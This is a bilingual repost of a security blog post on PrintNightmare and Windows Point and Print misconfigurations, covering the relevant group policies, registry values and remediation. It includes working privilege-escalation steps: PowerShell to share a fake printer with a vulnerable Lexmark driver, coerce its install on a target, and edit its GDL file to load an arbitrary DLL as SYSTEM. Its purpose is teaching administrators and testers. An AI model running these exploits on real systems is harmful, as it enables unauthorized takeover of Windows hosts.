A Practical Guide to PrintNightmare in 2024

Although PrintNightmare and its variants were theoretically all addressed by Microsoft, it is still affecting organizations to this date, mainly because of quite confusing group policies and settings. In this blog post, I want to shed a light on those configuration issues, and hopefully provide clear guidance on how to remediate them.
尽管 PrintNightmare 及其变体理论上都由 Microsoft 解决,但迄今为止它仍在影响组织,主要是因为组策略和设置非常混乱。在这篇博文中,我想阐明这些配置问题,并希望就如何修正这些问题提供明确的指导。

“PrintNightmare” and “Point and Print”
“PrintNightmare”和“Point and Print”

Unless you’ve been living under a rock for the past 3 years, you should have heard about “PrintNightmare”, but I’ll begin with a quick recap to make sure we are on the same page.
除非你在过去的 3 年里一直生活在岩石下,否则你应该听说过“PrintNightmare”,但我将从快速回顾开始,以确保我们在同一页面上。

Originally, “PrintNightmare” was the name given to a vulnerability in the Print Spooler service which could be exploited to achieve Remote Code Execution (RCE) or Local Privilege Escalation (LPE) on a Windows host, provided that an attacker had obtained network access and domain credentials, or gained local access in the context of a regular user. This turned out to be a real “nightmare” because this finding eventually led to the discovery of multiple variants of the same initial flaw, in part resulting from incomplete patches.
最初,“PrintNightmare”是打印后台处理程序服务中一个漏洞的名称,只要攻击者已获得网络访问和域凭据,或在普通用户的上下文中获得本地访问权限,则可利用该漏洞在 Windows 主机上实现远程代码执行 (RCE) 或本地权限提升 (LPE)。事实证明,这是一场真正的“噩梦”,因为这一发现最终导致了同一初始缺陷的多个变体的发现,部分原因是不完整的补丁。

More specifically, the problematic feature is “Point and Print”. According to Microsoft, Point and Print “refers to the capability of allowing a user to create a connection to a remote printer without providing disks or other installation media”. In other words, it allows allowed you to add a printer, either directly or through a print server, and install its driver automatically, all without requiring admin privileges, the aim being to provide a plug-and-play experience to the end users.

A Practical Guide to PrintNightmare in 2024Point and Print 指向和打印

Since Windows Vista, printer drivers can only be user-mode drivers. As stated in the documentation, if an application attempts to install a kernel-mode driver, “The AddPrinterDriver and AddprinterDriverEx functions will fail with the error code ERROR_KM_DRIVER_BLOCKED”. That being said, it does not prevent printer vendors from distributing regular kernel-mode drivers, alongside their user-mode printer drivers, if they deem necessary.
从 Windows Vista 开始,打印机驱动程序只能是用户模式驱动程序。如文档中所述,如果应用程序尝试安装内核模式驱动程序,“ AddPrinterDriver 和 AddprinterDriverEx 函数将失败并显示错误代码 ERROR_KM_DRIVER_BLOCKED ”。话虽如此,如果打印机供应商认为有必要,它不会阻止打印机供应商分发常规内核模式驱动程序及其用户模式打印机驱动程序。

When adding a printer, an associated printer driver is required to be installed. This driver can be either “non package aware” or “package aware”. This notion of package aware drivers was first introduced in Windows Vista.
添加打印机时,需要安装关联的打印机驱动程序。此驱动程序可以是“非包感知”或“包感知”。包感知驱动程序的这一概念最初是在 Windows Vista 中引入的。

It is possible to see whether a printer driver is “package aware” thanks to the “Print Management” MMC snap-in, or simply using PowerShell.
由于“打印管理”MMC 管理单元,可以查看打印机驱动程序是“包感知”,还是仅使用 PowerShell。

PS C:\Users\Administrator> Get-PrinterDriver | select Name,IsPackageAware

Name                                                    IsPackageAware
----                                                    --------------
Microsoft XPS Document Writer v4                                  True
Microsoft Print To PDF                                            True
Microsoft enhanced Point and Print compatibility driver           True
Lexmark Universal v2                                              True
Canon MX920 series Printer                                        True
Canon MX920 series FAX                                           False
Brady BBP11-24L                                                   True
Microsoft enhanced Point and Print compatibility driver           True

As can be seen on the command output above, “package aware” drivers are way more common than their “non package aware” counterparts nowadays.

This difference is essential because it determines what type of configuration needs to be applied to the “Point and Print” feature in order to allow users to install printers, as we will see in the next parts.

Point and Print restricted to administrators

Following the PrintNightmare saga, Microsoft decided to address the problem globally by restricting the installation of printer drivers to administrators only, but with the possibility for system administrators to override this policy when necessary. This has been the default behavior since August 10, 2021.
在 PrintNightmare 传奇之后,Microsoft 决定通过将打印机驱动程序的安装限制为仅供管理员使用来全局解决该问题,但系统管理员可以在必要时覆盖此策略。这是自 2021 年 8 月 10 日以来的默认行为。

For organizations that didn’t anticipate this change, the consequence was that some users were no longer able to print from their Windows PC. For example, when attempting to add a shared printer with a package aware driver from the “Printers & scanners” settings, you would get the following error message.
对于没有预料到此变化的组织来说,结果是一些用户无法再从其 Windows PC 进行打印。例如,当尝试从“打印机和扫描仪”设置中添加具有包感知驱动程序的共享打印机时,您会收到以下错误消息。

A Practical Guide to PrintNightmare in 2024Printer installation failed

The error #740 is a standard Win32 error code that translates to “The requested operation requires elevation”. In other words, administrator privileges are required if you want to add a remote printer.
该错误是标准的 Win32 错误 #740 代码,转换为“请求的操作需要提升”。换言之,如果要添加远程打印机,则需要管理员权限。

A Practical Guide to PrintNightmare in 2024Error code 740 错误代码 740

Therefore, to allow regular users to install a shared printer, the policy Limits print driver installation to Administrators (Computer Configuration > Policies > Administrative Templates > Printers) must be disabled, as mentioned earlier.

This configuration in unsafe!

A Practical Guide to PrintNightmare in 2024Configuring the policy “Limits print driver installation to Administrators”

When this setting is applied to the target workstations, the following value is created (or updated) in the registry.

HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
RestrictDriverInstallationToAdministrators -> 0 (= Disabled)

If the value RestrictDriverInstallationToAdministrators doesn’t exist or is set to 1, the installation of printer drivers is restricted to administrators only.
如果该值 RestrictDriverInstallationToAdministrators 不存在或设置为 1 ,则打印机驱动程序的安装仅限于管理员。

If we try to add our printer again, it works!

A Practical Guide to PrintNightmare in 2024Installing a printer using a package aware driver

But what about printers using non package aware drivers? Well, in that case, we will be presented with a different dialog box, which ultimately results in a UAC prompt being displayed upon clicking “Continue”.

A Practical Guide to PrintNightmare in 2024Attempting to install a non package aware printer driver

If we don’t have administrator privileges, we have no other choice but to abort the operation, which results in the printer failing to install.

Point and Print restrictions

In the context of an organization, if users cannot install printers that come with non package aware drivers, this could be a problem. Therefore, it might be tempting to disable the prompt we saw earlier by configuring the Point and Print Restrictions policy.

More specifically, this policy contains two settings governing security prompts.

  • When installing drivers for a new connection
  • When updating drivers for an existing connection

By setting these values to “Do not show warning or elevation prompt”, we can disable the prompts, and thus obtain a behavior similar to package aware drivers.

This configuration is highly unsafe, as we will see shortly!

A Practical Guide to PrintNightmare in 2024Disabling Point and Print security prompts
禁用 Point 和 Print 安全提示

Applying this policy on the target machines will result in the following values being set in the registry.

HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
NoWarningNoElevationOnInstall -> 1 (= Do not show warning or elevation prompt)
UpdatePromptSettings -> 2 (= Do not show warning or elevation prompt)

If the values NoWarningNoElevationOnInstall and UpdatePromptSettings don’t exist, or are set to 0, the security prompts are always shown.
如果值 NoWarningNoElevationOnInstall 和 UpdatePromptSettings 不存在,或者设置为 0 ,则始终显示安全提示。

And if we try to add our printer again, it works! We now have a configuration that allows users to install both package aware and non package aware printer drivers.

A Practical Guide to PrintNightmare in 2024Installing a printer using a non package aware driver

PrintNightmare is back! A Practical Guide to PrintNightmare in 2024

If you were to disable the Point and Print security prompts as described previously, you would allow users to install non package aware printer drivers, but you would also make the machine vulnerable to the original PrintNightmare exploit. This is documented in the KB article KB5005010.
如果如前所述禁用指向和打印安全提示,则允许用户安装非包感知打印机驱动程序,但也会使计算机容易受到原始 PrintNightmare 攻击。知识库文章KB5005010中对此进行了说明。

A Practical Guide to PrintNightmare in 2024Warning about Point and Print security prompts settings

A vulnerable Point and Print configuration would be as follows.

  • The setting RestrictDriverInstallationToAdministrators is set to 0, so that users can install printer drivers.
    该设置 RestrictDriverInstallationToAdministrators 设置为 0 ,以便用户可以安装打印机驱动程序。
  • The setting NoWarningNoElevationOnInstall is set to 1, so that no elevation prompt is shown when installing a printer driver.
    该设置 NoWarningNoElevationOnInstall 设置为 1 ,以便在安装打印机驱动程序时不显示提升提示。

Disabling security prompts renders other settings completely useless. So, even if you set a list of approved servers, or if you limit Point and Print to machines in the forest, the machine will still be vulnerable.

In this configuration, the exploitation is straightforward. It basically comes down to calling AddPrinterDriverEx with the appropriate flags, and passing a DRIVER_INFO structure containing the absolute path of a DLL that will be loaded by the Print Spooler service.
在此配置中,利用非常简单。它基本上归结为使用适当的标志进行调用 AddPrinterDriverEx ,并传递一个 DRIVER_INFO 结构,其中包含将由打印后台处理程序服务加载的 DLL 的绝对路径。

You will find many exploits online, but the one I would recommend is the PowerShell script CVE-2021-34527.ps1 developed by Caleb Stewart and John Hammond. You can either let the script use its embedded DLL (which creates a new local administrator account when loaded), or pass the absolute path of your own DLL. Alternatively, you could also use my own script PointAndPrint.ps1, which is highly inspired by theirs.
您会在网上找到许多漏洞,但我推荐的是由 Caleb Stewart 和 John Hammond 开发的 PowerShell 脚本 CVE-2021-34527.ps1。可以让脚本使用其嵌入的 DLL(在加载时创建新的本地管理员帐户),也可以传递自己的 DLL 的绝对路径。或者,您也可以使用我自己的脚本 PointAndPrint.ps1,该脚本的灵感很大程度上来自他们的脚本。

. .\PointAndPrint.ps1
Invoke-PointAndPrintExploit -DllPath "$HOME\Downloads\payload.dll"

It’s important to specify an absolute path, and preferably on the local file system. The reason for this is that the DLL’s path will be interpreted in the context of the Print Spooler service, by the LocalSystem account. Therefore, a relative path is likely to point to a location that is different from yours, and your network paths (e.g. mounted file shares) might not even be accessible.

Below is a short video showing the exploit. Here, I used a DLL that simply spawns a new cmd.exe process on the current user’s desktop.
下面是一个简短的视频,显示了该漏洞。在这里,我使用了一个 DLL,它只是在当前用户的桌面上生成一个新 cmd.exe 进程。

It should be noted that, when the exploit is successful, the payload DLL is copied to the system folder. My version of the exploit uses the flag DPD_DELETE_UNUSED_FILES when calling DeletePrinterDriverEx in order to let the Print Spooler service delete the file automatically.
应该注意的是,当漏洞利用成功时,有效负载 DLL 将被复制到系统文件夹中。我的漏洞利用版本在调用 DeletePrinterDriverEx 时使用该标志 DPD_DELETE_UNUSED_FILES ,以便让后台打印程序服务自动删除文件。

In summary, if the Point and Print security prompts are disabled, a local attacker can simply load an arbitrary DLL in the context of the Print Spooler service. This is the easiest exploit variant, and it works even if a list of approved Point and Print servers is configured!
总之,如果禁用了指向和打印安全提示,则本地攻击者只需在打印后台处理程序服务的上下文中加载任意 DLL。这是最简单的漏洞利用变体,即使配置了已批准的点和打印服务器列表,它也能正常工作!

Package Point and Print

Now, let’s rewind a bit, and say that we didn’t disable the security prompts. In other words, we assume that the policy “Limits print driver installation to Administrators” is disabled, and all the other settings are left untouched so that default values are applied.

In these conditions, we saw that we cannot install a non package aware printer driver, but we can leverage Package Point and Print to install a printer shared by a print server. To better understand what happens when we do that, we fist need to take a look at the list of default printer drivers (see screenshot below).

A Practical Guide to PrintNightmare in 2024List of default printer drivers

Knowing this, it is indeed easier to show that the Print Spooler downloads the appropriate driver from the remote print server, and installs it locally. The screenshot below shows a Canon driver being automatically installed in the background.

A Practical Guide to PrintNightmare in 2024A printer driver being automatically installed

Basically, we asked the Print Spooler to connect to a remote print server, and it loaded a driver from this location. So, if we instead coerce it to connect to a server we control, we should be able to make it load a custom driver and thus execute arbitrary code as NT AUTHORITY\SYSTEM, right?
基本上,我们要求后台打印程序连接到远程打印服务器,并从此位置加载驱动程序。因此,如果我们强制它连接到我们控制的服务器,我们应该能够让它加载自定义驱动程序,从而执行任意代码,对吧 NT AUTHORITY\SYSTEM ?

As you may imagine, it’s not that simple. In the article Point and Print with Driver Packages, you can read that “Driver signing and driver integrity are checked on the print client”. Furthermore, in the article Use Group Policy settings to control printers in Active Directory, you can also read that “When using package point and print, client computers will check the driver signature of all drivers that are downloaded from print servers”.
正如您可能想象的那样,事情并没有那么简单。在使用驱动程序包指向和打印一文中,可以阅读“在打印客户端上检查驱动程序签名和驱动程序完整性”。此外,在使用组策略设置控制 Active Directory 中的打印机一文中,您还可以阅读“使用包点和打印时,客户端计算机将检查从打印服务器下载的所有驱动程序的驱动程序签名”。

In the case of our Canon driver, we can see that it has a WHQL signature because the EKU field of its certificate contains the OID This means that it went through a validation process before being digitally signed by Microsoft.
对于我们的佳能驱动程序,我们可以看到它具有WHQL签名,因为其证书的EKU字段包含 OID 。这意味着它在由 Microsoft 进行数字签名之前经过了验证过程。

A Practical Guide to PrintNightmare in 2024A printer driver signature

If you open the properties of a printer driver’s binary file (e.g. one of its DLLs), you won’t find any signature. That’s because, “A WHQL release signature consists of a digitally-signed catalog file” (see WHQL Release Signature). In the example above, this file is MX920P6.cat.
如果打开打印机驱动程序的二进制文件(例如,其 DLL 之一)的属性,则不会找到任何签名。这是因为,“WHQL 版本签名由数字签名的目录文件组成”(请参阅 WHQL 版本签名)。在上面的示例中,此文件是 MX920P6.cat .

In short, although we can point to any server, we cannot load a custom driver because of signing requirements. One could argue that it is not impossible to build a malicious driver and still pass the WHQL validation, but there is a much simpler solution.

Bring your own vulnerable printer driver

When it comes to bypassing advanced protections such as Protected Processes or Endpoint Detection and Response (EDR) solutions, a now well known technique called “Bring Your Own (Vulnerable) Driver” is often employed. For instance, tools such as PPLKiller or EDRSandBlast leverage legitimate drivers that provide read/write access to the Kernel in order to circumvent security mechanisms by altering data that is essential to their functioning.

Although printer drivers are not kernel-mode drivers, the same concept can be applied to Package Point and Print, for a slightly different purpose. Rather than leveraging administrator privileges to access the kernel, we want to gain those administrator privileges.

To do that, we will first need to set up a print server and share a fake printer that uses a legitimate but vulnerable driver. Then, we will leverage Package Point and Print to coerce the Print Spooler service to install this driver on the target. Finally, we will exploit it to gain LocalSystem privileges.

A Practical Guide to PrintNightmare in 2024Downloading a vulnerable printer driver

This particular attack was implemented by @Junior_Baines in a turnkey tool called Concealed Position. The project consists of a single executable that embeds both a server and a client, and a collection of four vulnerable printer drivers.

There are at least two main issues that make it hardly usable nowadays though. First and foremost, it is flagged as malicious, so it cannot be easily run without modifying the code, or at least packing the executable. Second, it relies on anonymous access to the print$ share, which is likely to be blocked because of restrictions enforced in some recent versions of Windows.

To solve these issues, I split the exploit chain into three steps that I reimplemented in PowerShell for easier reproducibility. Step 1 (in red) and step 2 (in blue) are already illustrated on the previous diagram.

  1. ATTACKER (as an administrator): create a fake shared printer using a vulnerable printer driver.
  2. TARGET (as a regular user): add the remote shared printer to trigger the installation of its driver locally.
  3. TARGET (as a regular user): exploit the printer driver to gain LocalSystem privileges.

Lastly, as I mentioned previously, Concealed Position offers exploits for four vulnerable drivers. Though, for the sake of the demonstration, I selected only one: “ACIDDAMAGE”. It exploits a basic file permission issue in a Lexmark driver (CVE-2021-35449), as we will see further down.

1. Creating a fake shared printer (Attacker)

We first need to download and install a known vulnerable printer driver, such as the Lexmark one, on our machine. Then, we will use the PowerShell cmdlets Add-PrinterDriver and Add-Printer to create the fake shared printer. All the necessary commands are shown below.

$DriverUrl = "https://github.com/jacob-baines/concealed_position/raw/main/cab_files/ACIDDAMAGE/LMUD1o40.cab"
$Username = "user"
$Password = "P@ssw0rd"
$SecurePassword = ConvertTo-SecureString -String $Password -AsPlainText -Force
New-LocalUser -Name $Username -Password $SecurePassword | Out-Null
# Download the CAB file containing the vulnerable driver.
Invoke-WebRequest -Uri $DriverUrl -OutFile ".\LMUD1o40.cab"
# Create the directory that will contain the extracted files.
New-Item -Path ".\ACIDDAMAGE\" -ItemType Directory | Out-Null
# Expand the CAB file in the output directory.
expand.exe ".\LMUD1o40.cab" -F:* ".\ACIDDAMAGE" | Out-Null
# Install the printer driver.
pnputil.exe /add-driver ".\ACIDDAMAGE\LMUD1o40.inf" /install
# Add it as a printer driver.
Add-PrinterDriver -Name "Lexmark Universal v2"
# Create a shared printer that uses this printer driver.
Add-Printer -Name "ACIDDAMAGE" -DriverName "Lexmark Universal v2" -PortName "LPT1:" -PrintProcessor "WinPrint" -Datatype "RAW" -Shared
# Enable File and Printer Sharing firewall rules (optional if your firewall is
# disabled).
# https://learn.microsoft.com/en-us/powershell/module/netsecurity/enable-netfirewallrule#example-1
Enable-NetFirewallRule -Group "@FirewallAPI.dll,-28502"

Here is a short video showing all the set-up.

The code snippet below shows all the commands necessary to restore your machine to its original state, once you no longer need the shared printer. They should be self-explanatory.

Disable-NetFirewallRule -Group "@FirewallAPI.dll,-28502"
Remove-Printer -Name "ACIDDAMAGE" -Verbose
Restart-Service -Name "Spooler" -Force
Remove-PrinterDriver -Name "Lexmark Universal v2" -Verbose
pnputil.exe /delete-driver "oem20.inf" /uninstall
Remove-Item -Path ".\ACIDDAMAGE\" -Recurse -Force
Remove-Item -Path ".\LMUD1o40.cab" -Force
Remove-LocalUser -Name $Username

2. Installing the vulnerable printer driver (Target)
2. 安装易受攻击的打印机驱动程序(目标)

On the client side (i.e. the target), we should now be able to execute the following commands to connect to the shared printer and coerce the Print Spooler service to download and install the vulnerable printer driver locally.

$Server = "" # IP or hostname of the attacker's machine
$Username = "user"
$Password = "P@ssw0rd"
$PrinterName = "\\$($Server)\ACIDDAMAGE"

# Store remote user credentials in the credential manager
cmdkey.exe /add:$Server /user:$Username /pass:$Password
# Add the shared printer
Add-Printer -ConnectionName $PrinterName

# Cleanup
Remove-Printer -Name $PrinterName
cmdkey.exe /delete:$Server

The built-in tool cmdkey.exe stores the credentials in the Credential Vault, so that Windows can authenticate against the attacker’s server transparently. I tried several other solutions, but this option seemed the simplest and the most reliable.
内置工具 cmdkey.exe 将凭据存储在凭据保管库中,以便 Windows 可以透明地对攻击者的服务器进行身份验证。我尝试了其他几种解决方案,但这个选项似乎是最简单和最可靠的。

If all goes well, the output of each command should be empty, and the printer driver “Lexmark Universal v2” should appear in the list of installed drivers. You can double check using the command Get-PrinterDriver -Name "Lexmark Universal v2" if you wish.
如果一切顺利,则每个命令的输出应为空,打印机驱动程序“Lexmark Universal v2”应出现在已安装的驱动程序列表中。如果您愿意,可以使用该命令 Get-PrinterDriver -Name "Lexmark Universal v2" 仔细检查。

A Practical Guide to PrintNightmare in 2024Connecting to the fake shared printer from the target machine

At this stage, you can remove the fake printer on both client and server sides as we no longer need it.

3. Exploiting the printer driver (Target)

Here comes the fun part! Now that the vulnerable printer driver is installed on the target, we want to exploit it to gain LocalSystem privileges.

The very first thing to do is create a dummy printer that uses this driver. This can be achieved through the AddPrinter Win32 API, which I wrapped in a PowerShell cmdlet.

. .\PointAndPrint.ps1
$PrinterInfo = New-Object $PRINTER_INFO_2
$PrinterInfo.PortName = "LPT1:"
$PrinterInfo.DriverName = "Lexmark Universal v2"
$PrinterInfo.PrinterName = "ACIDDAMAGE"
$PrinterInfo.PrintProcessor = "WinPrint"
$PrinterInfo.DataType = "RAW"
$PrinterInfo.Attributes = 0x00001000 + 0x00000020
$PrinterHandle = Add-WinSpoolPrinter -PrinterInfo $PrinterInfo

A Practical Guide to PrintNightmare in 2024Creating a printer using a vulnerable Lexmark driver
使用易受攻击的 Lexmark 驱动程序创建打印机

When doing that, a folder named Lexmark Universal v2 is created in C:\ProgramData\, and an explicit DACL is set to grant Full Control to Authenticated Users and Guests. In this folder, a file named Universal Color Laser.gdl can be found in it, as illustrated on the screenshot above.
执行此操作时,将在 中创建一个名为 Lexmark Universal v2 的文件夹,并将显式 DACL 设置为授予 Full Control Authenticated Users 和 Guests 。 C:\ProgramData\ 在此文件夹中,可以在其中找到一个名为 Universal Color Laser.gdl 的文件,如上面的屏幕截图所示。

GDL stands for Generic Description Language. A GDL file is an XML-based document that basically describes the driver, its components, and its dependencies.
GDL 代表 通用描述语言。GDL 文件是基于 XML 的文档,主要描述驱动程序、其组件及其依赖项。

The part of the configuration we are interested in is highlighted below. As you can see, it references DLL names!

<!-- ... -->
<CONSTRUCT Name="*Feature" Instance="RESDLL">
    <!-- ... -->
    <CONSTRUCT Name="*Option" Instance="COMMON_RESDLL">
        <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">LMUD1OUE.DLL</GDL_ATTRIBUTE>
    <!-- ... -->
<!-- ... -->

This GDL file is parsed when creating a printer that uses this driver. Since we have Full Control, we can modify it, and inject ..\ characters to perform a basic path traversal attack, as shown below.

<CONSTRUCT Name="*Option" Instance="COMMON_RESDLL">
    <GDL_ATTRIBUTE Name="*Name" xsi:type="GDLW_string">..\..\..\..\..\..\foo123.DLL</GDL_ATTRIBUTE>

Next, we need to remove our previously created printer, because we want to coerce the Print Spooler service to recreate it using this modified version of the GDL file.
接下来,我们需要删除之前创建的打印机,因为我们希望强制打印后台处理程序服务使用此修改后的 GDL 文件版本重新创建它。

# Remove the previously created printer.
Remove-WinSpoolPrinter -PrinterHandle $PrinterHandle
Close-WinSpoolPrinter -PrinterHandle $PrinterHandle
# Create the dummy printer again to trigger the arbitrary DLL load.
$PrinterHandle = Add-WinSpoolPrinter -PrinterInfo $PrinterInfo
Remove-WinSpoolPrinter -PrinterHandle $PrinterHandle
Close-WinSpoolPrinter -PrinterHandle $PrinterHandle

Using Process Monitor in the background, we can see that the driver installer indeed tries to access the file C:\foo123.dll, which does not exist in this case, but you get the point. By adjusting the path, we will be able to make it load a DLL from an arbitrary location.
在后台使用进程监视器,我们可以看到驱动程序安装程序确实尝试访问该文件 C:\foo123.dll ,在这种情况下不存在,但是您明白了。通过调整路径,我们将能够使其从任意位置加载 DLL。

A Practical Guide to PrintNightmare in 2024Triggering an arbitrary DLL load
触发任意 DLL 加载

Although this exploit is trivial, it requires a few more steps than the two previous stages, so I automated everything in my PowerShell script PointAndPrint.ps1. Running it is very simple, you just have to pass the path of your DLL through the -DllPath option. This time, it doesn’t matter if the path is relative or absolute since the file will be copied to a location chosen by the script.
尽管此漏洞利用微不足道,但它需要比前两个阶段更多的步骤,因此我在 PowerShell 脚本 PointAndPrint.ps1 中自动执行了所有操作。运行它非常简单,您只需通过 -DllPath 该选项传递DLL的路径即可。这一次,路径是相对的还是绝对的并不重要,因为文件将被复制到脚本选择的位置。

. .\PointAndPrint.ps1;
Invoke-PrinterDriverExploit -DllPath "$HOME\Downloads\payload.dll"

Below is a video showing the exploit script in action. As you will see, the DLL is loaded multiple times (12 in my case), so keep that in mind when crafting your payload.

No need to say that you will have to manually remove the installed driver once you have obtained LocalSystem privileges, otherwise the machine will remain vulnerable.

Get-PrinterDriver -Name "Lexmark Universal v2" # This should return the vulnerable driver.
Remove-PrinterDriver -Name "Lexmark Universal v2"
pnputil.exe /delete-driver "oem20.inf" /uninstall
Get-PrinterDriver -Name "Lexmark Universal v2" # This should throw an exception.

Fixing our Point and Print configuration

It’s all well and good, but how do we configure our system to prevent this kind of attack? The most straightforward way would be to just get rid of the Print Spooler service altogether by disabling it. But of course, here we assume that allowing users to install and use printers is a requirement. So how do we do that safely?

The answer lies in a couple of Group Policies in Computer Configuration > Policies > Administrative Templates > Printers:

By enabling the policy Only use Package Point and print and configuring the policy Package Point and print – Approved servers, the Print Spooler service will only accept to install signed printer drivers from trusted servers.

With such a configuration, attempts to connect to a malicious shared printer will result in the following error.

A Practical Guide to PrintNightmare in 2024Attempting to install a malicious printer before and after configuring a list or approved servers

And when trying to install a non package aware printer driver, the following exception will be raised. The error message is rather generic, but the error code 0x800704ec translates to ERROR_ACCESS_DISABLED_BY_POLICY.
当尝试安装非软件包感知打印机驱动程序时,将引发以下异常。错误消息相当通用,但错误代码 0x800704ec 转换为 ERROR_ACCESS_DISABLED_BY_POLICY 。

A Practical Guide to PrintNightmare in 2024Attempting to install a non package aware printer driver

Key takeaways 关键要点

I will conclude this blog post with a recap that will hopefully provide clear guidance to both system administrators and offensive security consultants.

First of all, as an administrator, the one key thing to keep in mind is that “There is no combination of mitigations that is equivalent to setting RestrictDriverInstallationToAdministrators to 1” (i.e. Enabled), as pointed out by Microsoft in the KB article KB5005652, which is also the default behavior on up-to-date machines.
首先,作为管理员,要记住的一件关键事情是“没有等同于将 RestrictDriverInstallationToAdministrators 设置为 1 的缓解组合”(即 Enabled ),正如 Microsoft 在知识库文章 KB5005652 中指出的那样,这也是最新计算机上的默认行为。

However, if you do need to allow domain users to install shared printers, you will have to disable this policy. In this case, the following configuration offers the best compromise between usability and security.

For Package Point and Print to work as intended, printers must be set up with package aware drivers.

Finally, the following flowchart should provide a better overview of those group policies, and how an improper configuration could lead to local privilege escalation.

A Practical Guide to PrintNightmare in 2024Point and Print configuration flowchart

原文始发于itm4n’s blog:A Practical Guide to PrintNightmare in 2024

版权声明:admin 发表于 2024年1月29日 上午9:42。
转载请注明:A Practical Guide to PrintNightmare in 2024 | CTF导航